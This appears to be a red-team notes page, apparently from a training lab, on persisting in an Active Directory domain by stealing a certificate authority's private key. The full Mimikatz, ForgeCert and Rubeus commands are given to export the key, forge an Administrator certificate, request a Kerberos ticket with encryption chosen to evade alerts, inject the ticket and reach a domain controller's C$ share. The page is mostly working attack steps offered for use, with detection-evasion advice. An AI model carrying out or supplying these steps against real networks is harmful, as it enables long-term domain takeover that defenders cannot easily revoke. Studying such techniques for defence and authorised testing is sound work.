Skip to main content

Certificates

Certificates can also be used for Persistence. All we need is a Valid Certificate that can be used for Client Authentication. This will allow us to use the Certificate to request a TGT.

We can continue requesting TGT's no matter how many Rotations they do on the Account we are Attacking. The only way we can be Kicked out is if they Revoke the Certificate we generated or if it Expires. Meaning we probably have Persistent access by Default for roughly the next 5 Years.

In the Example below we are going after the Certificate Authority (CA).

Depending on our Access. We could simply Steal the Private Key of the Root CA's Certificate to Generate our own Certificates whenever we feel like it. Even better, since these Certificates were never issued by the CA, the Blue Team has no ability to Revoke Them. This would be even worse for the Blue Team since it would mean a rotation of the CA, meaning all issued Certificates would have to be Revoked by the Blue Team to Kick us out.


Extracting the Private Key​

Required Privileges: Administrators

The Private Key of the CA is stored on the CA Server itself. If the Private Key is not protected through Hardware-Based protection methods such as an Hardware Security Module (HSM), which is often the case for organizations that just use Active Directory Certificate Services (AD CS) for internal purposes, it is protected by the machine Data Protection API (DPAPI).

We can use tools such as Mimikatz or SharpDPAPI to extract the CA Certificate and thus the Private Key from the CA.

:: View the Certificates stored on the Domain Controller
crypto::certificates /systemstore:local_machine


There is a CA Certificate on the DC. We can also note that some of these Certificates were set not to allow us to Export the Key. Without this Private Key, we would not be able to generate new Certificates.

Mimikatz allows us to Patch Memory to make these Keys Exportable.

privilege::debug
crypto::capi
crypto::cng


With these Services Patched, we can use Mimikatz to Export the Certificates.

:: The Exported Certificates will be Stored in PFX and DER Format to Disk
crypto::certificates /systemstore:local_machine /export


The za-PCDC-CA.pfx Certificate is the one we are Interested in. In order to Export the Private Key, a Password must be used to Encrypt the Certificate. By default, Mimikatz assigns the Password of mimikatz.

We can now Download a copy of the Certificate to our Machine and then we can copy it to a Low-Privileged Active Directory Account.


Generating our own Certificates​

Now that we have the Private Key and root CA Certificate, we can use ForgeCert to forge a Client Authenticate Certificate for any User we want. 

:: [CaCertPath]      - Path to our Exported CA Certificate.
:: [CaCertPassword]  - Password used to Encrypt the Certificate. By default, Mimikatz assigns the Password of mimikatz.
:: [Subject]         - The Subject or Common Name of the Certificate. 
:: [SubjectAltName]  - This is the User Principal Name (UPN) of the Account we want to Impersonate with this Certificate. (It has to be a Legitimate user)
:: [NewCertPath]     - Path to where ForgeCert will Store the generated Certificate.
:: [NewCertPassword] - The Certificate will require the Private Key exported for Authentication purposes, we must set a new Password used to Encrypt it.
ForgeCert.exe --CaCertPath local_machine_My_1_za-PCDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.adobe.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123

Now we can use Rubeus to request a TGT using the Certificate to Verify that the Certificate is Trusted.

:: [user]        - Specifies the User that we will Impersonate and has to match the UPN for the Certificate we Generated.
:: [enctype]     - Specifies the Encryption type for the Ticket. Setting this is Important for Evasion, since the Default Encryption algorithm is weak, which would result in an Overpass-The-Hash Alert.
:: [certificate] - Path to the Certificate we have Generated.
:: [password]    - Password for our Certificate File.
:: [outfile]     - File where our TGT will be Output.
:: [domain]      - FQDN of the Domain we are currently Attacking.
:: [dc]          - The IP of the Domain Controller which we are requesting the TGT from. Usually, it is best to select a DC that has a CA Service Running.
Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:fullAdmin.pfx /password:Password123 /outfile:administrator.kirbi /domain:za.adobe.loc /dc:10.200.61.101

Now we can use Mimikatz to load the TGT and Authenticate to PCDC in this Example.

kerberos::ptt administrator.kirbi

We can verify that the Ticket were correctly Injected by running dir - klist Command against the Target Machine, in this case PCDC.za.adobe.loc

:: List Target Machine Contents
dir \\PCDC.za.adobe.loc\c$\

:: Displays a list of currently Cached Kerberos Tickets
klist